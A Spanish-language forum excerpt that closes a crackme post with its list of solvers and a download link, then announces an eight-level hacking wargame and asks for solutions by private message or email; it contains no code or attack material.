-Keygen válido
-Pasar el rato...

Superado por:
-  M4rtyr
-  MCKSys Argentina
-  .:UND3R:.
-   :rolleyes:

Descarga

Próximamente versión para Linux.

Saludos
#15
Aquí les traigo un wargame, programado por mi y 11Sep con lo que entetenerse un rato.

Son 8 retos, que han de superar, sin scanners ni herramientas de analisis (Serán expulsados).

La solución válida sería la clave del octavo reto, por M.P., seguida de una propuesta para el noveno reto. (Y así sucesivamente), o preferiblemente un correo a yo-mismo@oversec.org (Si algún moderador opina que está mal publicar el correo, por favor, elimine esta nota y la dirección).

Sin más, aquí les dejo el enlace:

Ir al Wargame

Disfruten.   :silbar:

Saludos